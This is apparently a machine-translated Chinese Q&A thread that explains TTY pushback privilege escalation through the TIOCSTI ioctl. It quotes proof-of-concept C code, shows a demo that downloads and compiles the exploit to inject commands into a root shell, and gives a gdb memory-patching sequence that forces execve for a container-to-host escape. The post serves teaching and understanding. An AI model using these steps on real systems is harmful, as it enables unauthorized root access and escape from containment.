tty push back - 私有升级

信息安全 linux 特权升级
2021-08-13 12:15:07

我试图更好地理解 TTY 的反击(假设我什至使用了正确的术语)。

从我通过研究可以确定的是,tty push back 可以让用户基本上按照它所说的“push back”反对 root 命令,从而获得 root 权限:链接描述我到目前为止所知道的

在这种情况下,root 用户正在将应用程序作为另一个应用程序运行,以尝试避免直接的 root shell,如果受到损害,例如 su -l www-data -c randomapplication

通过上面的链接阅读它提出了一些我不明白的事情(下)。gdb 到底是用来做什么的,这个特定的利用有没有替代方案?

这篇文章的主要目的是更深入地解释 tty push back 以及它是如何工作的以及如何利用它。

cat <<EOF > /x
#!/bin/bash
exec /TtyPushbackSignalin --NoSignal -- \$'\ntouch /xxx-outside\nstty sane'
EOF
chmod 0755 /x
gdb --pid [pid of login process]
(gdb) set *0x8051000=0x7880cd
(gdb) set *0x8051004=0x8051002
(gdb) set *0x8051008=0
(gdb) set $eax=0x0b
(gdb) set $ebx=0x8051002
(gdb) set $ecx=0x8051004
(gdb) set $edx=0x8051008
(gdb) set $eip=0x8051000
(gdb) quit

C 代码 POC

1个回答

好的,这不是一个完整的答案,因此我宁愿等待赏金到期,以免显得投机取巧。我无法复制该linux-vserver漏洞的一部分(主要是因为它可能需要 2.6 内核,并且上面的程序集将要求主机和来宾机器都处于 32 位模式)。我只能复制基本的漏洞,并解释其余部分是如何工作的。开始:


回击

ioctl 是一个深奥的TIOCSTIIO 控件,它允许伪造输入,来自man 4 tty_ioctl

Faking input
    TIOCSTI   const char *argp
           Insert the given byte in the input queue.

因此,您可以以编程方式将字节放入 TTY(或更可能在现代系统 PTY 上,即伪终端)的输入队列中。

现在,如果一个 TTY 由一个具有有限权限的进程和一个具有提升权限的进程(例如 root shell)共享,您可以将队列从受限 shell 清空到提升权限的 shell 中。这是由halfdog 的示例代码示例执行的,但我们需要了解一件事:shell 如何处理SIGSTOP信号。所以我们会在那里绕道。

SIGSTOP、SIGTSTP 和 shell

SIGSTOP 的处理方式与 SIGTSTP 完全相同(参见 SO question),并且 SIGTSTP 几乎在所有带有Ctrl+的终端中执行Z一个简单的例子是:

]$ less /etc/group  # And hit Ctrl+Z

[1]+  Stopped(SIGTSTP)        less /etc/group
]$ fg  # fg sends SIGCONT, and we are back inside less

然而,shell 会忽略 SIGTSTP,例如

]# su - grochmal
]$  # Ctrl+Z does not do anything in here
]$ exit
logout
]#  # back into a root shell

Shell 不会忽略 SIGSTOP,但接收到 SIGSTOP 的 shell 首先将 SIGSTOP 中继给它的所有子进程,然后才等待,这也是nohup当您希望进程在 shell 停止(或 shell 终止)中存活时需要使用该命令的原因。嗯...但是由于nohup可以使进程在 shell 停止中幸存下来,因此我们实现类似信号处理程序的进程之一也可以。

此外,如果我们可以在 shell 停止后让进程继续运行,然后将字节注入 TTY 输入,那么将接收这些字节的就是 root shell!

代码

示例代码正是这样做的,首先它准备了信号处理程序:

sigAction.sa_sigaction=handleSignal;
sigfillset(&sigAction.sa_mask);
sigAction.sa_flags=SA_SIGINFO;
sigAction.sa_restorer=NULL;
sigaction(SIGSTOP, &sigAction, NULL);

并将 SIGSTOP 发送到其父级(非特权 shell):

if (sendSignalFlag) kill(getppid(), SIGSTOP);

然后它将参数 after 中的每个字节推--入 TTY 输入:

pushbackLength=strlen(pushbackString)+1;
for(pushbackPos=0; pushbackPos<pushbackLength; pushbackPos++) {
  result=ioctl(0, TIOCSTI,
      pushbackPos+1!=pushbackLength?pushbackString+pushbackPos:"\n");
  if(result) {
    fprintf(stderr, "Pushback failed, result %d, error %d (%s)\n",
        result, errno, strerror(errno));
    return(1);
  }
}

就这样。唯一的额外技巧是$''我将在下一个示例中讨论的语法:

琐碎用法示例

让我们从 root shell 开始,执行 asu -并进行微不足道的 pushback。

]# ls /
bin  boot  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
]# su - grochmal
]$ wget http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/TtyPushbackSignaling.c
]$ gcc -o ttyp TtyPushbackSignaling.c 
TtyPushbackSignaling.c: In function ‘main’:
TtyPushbackSignaling.c:83:28: warning: implicit declaration of function ‘getppid’ [-Wimplicit-function-declaration]
   if (sendSignalFlag) kill(getppid(), SIGSTOP);

没关系,他们只是忘记添加#include <unistd.h>. 现在的回击:

]$ echo yay >/yay
-bash: /yay: Permission denied
]$ ./ttyp -- $'echo yay >/yay\necho nay >/nay\n'
echo yay >/yay
echo nay >/nay


[1]+  Stopped                 su - grochmal
]# echo yay >/yay
]# echo nay >/nay
]#   # here I regain control of the shell
]# jobs
[1]+  Stopped                 su - grochmal
]# ls /
bin  boot  dev  etc  home  lib  lib64  lost+found  media  mnt  nay  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  yay

作为grochmal我无法写入的用户/yay,但如果我将其推echo入输入队列并强制 root shell 执行它,它会以 root 权限退出。./ttyp调用使用$''shell 语法,它允许我将\n字符嵌入为换行符 (0x0a),而不是两个字符\n.

]$ echo 'yay\nyay'
yay\nyay
]$ echo $'yay\nyay'
yay
yay

虚拟容器内部

(无法复制,只能争论它应该如何工作)

现在是您的问题的棘手部分,即:

cat <<EOF > /x
#!/bin/bash
exec /TtyPushbackSignalin --NoSignal -- \$'\ntouch /xxx-outside\nstty sane'
EOF
chmod 0755 /x
gdb --pid [pid of login process]
(gdb) set *0x8051000=0x7880cd
(gdb) set *0x8051004=0x8051002
(gdb) set *0x8051008=0
(gdb) set $eax=0x0b
(gdb) set $ebx=0x8051002
(gdb) set $ecx=0x8051004
(gdb) set $edx=0x8051008
(gdb) set $eip=0x8051000
(gdb) quit

这需要一个虚拟化引擎(在这种情况下linux-vserver)在主机和来宾机器之间共享一个 TTY。换句话说,我们不是将权限从普通用户升级到 root,而是从虚拟机上的 root 升级到主机上的 root。

第一部分与上面的简单示例没有什么不同。我们创建一个名为的脚本/x并从其中调用回推代码。唯一的区别是:

  1. 我们将在注销时调用它(见下文),因此我们不需要自己发送 SIGSTOP。我们使用--NoSignal它(它控制代码中的那个标志)。
  2. 我们需要对$( \$) 进行转义,因为它需要传递给exec

所以是的,我们有一个/x可执行的脚本()(chmod 755)。如果我们可以强制在注销时调用该脚本(并且共享 TTY),我们就赢了。我们知道注销是通过唤醒login然后返回 TTY 的进程来执行的。

注意:今天的大多数 Linux 系统都将使用systemd-loginnot plain login

装配部分

登录进程正在等待 SIGCONT(就像任何停止的进程一样),其内存由虚拟机的 root 拥有。由于我们拥有该内存,我们可以通过破坏它来使进程执行我们想要的任何操作。这就是 GDB 在那里所做的。根据该摘录中的寄存器名称,我们可以看到它运行在 i386 Intel CPU 上,它是 little-endian,字长为 32 位(4 字节)。我们可以将该 GDB 部分重写为使用完整词的等价物(GDB 无论如何都会使用完整词,以下内容更明确):

gdb --pid [pid of login process]
(gdb) set *0x8051000=0x007880cd
(gdb) set *0x8051004=0x08051002
(gdb) set *0x8051008=0x00000000
(gdb) set $eax=0x0000000b
(gdb) set $ebx=0x08051002
(gdb) set $ecx=0x08051004
(gdb) set $edx=0x08051008
(gdb) set $eip=0x08051000
(gdb) quit

我们正在覆盖EIP指令指针以指向我们用覆盖的内存中的一个位置0x007880cdcd是一个 OPCODE,它以一个字节作为参数,因此我们可以将其作为一个操作读取,cd80或者简单地int 0x80在 Intel 汇编中读取(记住这是小端序)。

int 80恰好是syscall在 x86 (i386) Intel 上执行的中断。中断号取自EAX寄存器,我们用 覆盖了它0x0b我们可以在 Linux 内核头文件中检查该中断号,即在x86/include/generated/asm/syscalls_32.h. 它恰好是:

#ifdef CONFIG_X86_32
__SYSCALL_I386(11, sys_execve, )
#else
__SYSCALL_I386(11, compat_sys_execve, )
#endif

所以是的,一旦它醒来,登录过程将执行sys_execve系统调用。但是,等等,根据man 2 execve,该系统调用有参数:

int execve(const char *filename, char *const argv[], char *const envp[]);

所有(嗯,几乎所有)系统调用都有 3 个参数,它们取自EBX,ECXEDX寄存器,我们也可以方便地覆盖它们:

  • EBX包含0x08051002,在 之后 2 个字节0x08051002,我们已将其设置为0x007880cd如果我们记得这是一个小端机器,我们可以看到后面的前两个字节0x080510020x0078. 这被解释为const char *因此它是字符x(0x78) 和字符串终止符\0(0x00)。

  • ECX应该是 a const char **,一个指针的指针(出于系统调用目的以 null 终止)。在 x86 Intel 上,指针的长度为 4 个字节。我们设置ECX0x08051004,前 4 个字节包含0x08051002指向字符串的指针"x"(还记得吗?那是 的内容EBX)。接下来的 4 个字节 (at 0x08051004) 仅包含终止指针指针的零。

  • EDX包含0x08051008哪个(作为 a const char **)指向 4 个字节的零,这意味着一个空参数。

因此,在纯 C 语言中,我们的调用可以写成:

const char *x = "x";
const char **ar = { x, 0 };
execve(x, ar, ar[1]);

这种在系统调用中为多个参数重用内存位置的技术在 shellcode 中很常见,这是因为它减小了它的大小。

额外说明

halfdog 的人也提到了 NX 和 ASLR,但我不知道为什么。当攻击者只能覆盖堆栈或无法分析进程的特定实例(因为堆栈开始是随机的)时,NX 和 ASLR 可以防止缓冲区溢出。

  • NX阻止从堆栈执行程序集。但是我们并不关心堆栈,我们几乎可以破坏当前内存旁边的内存,EIP这将位于允许包含可执行指令的内存部分中。

  • ASLR随机化内存中堆栈位置的开始。这可以防止缓冲区溢出知道它在哪里。这里有一个漏洞可以通过弹跳来克服它lib-exec(由halfdog提到),但它早已被修复几乎无处不在。

您可以通过简单地使用 GDB 并/proc/<PID>/stat找到当前的EIP查看相关的 SO 问题,并破坏靠近它的内存而不是0x8051000.

结论

execve该漏洞从损坏的login进程执行调用。execve启动了将字节推入 TTY 输入队列的脚本,然后由主机外壳读取。

我无法在我拥有的任何东西上复制它。我承认我没有使用类似于 halfdog 的环境(内核 2.6、x86 Intel、linux-vserver;相反,我尝试了 x86_64、内核 3.16 和 4.7 以及 Xen)。让我烦恼的一件事是execve调用如何找到脚本(这是我在复制方面的主要问题),我相信 linux-vserver 将主机 shell 留在/来宾机器的文件系统中(请参阅 参考资料man 7 path_resolution)。尽管如此,我希望这或多或少地澄清了它应该如何工作。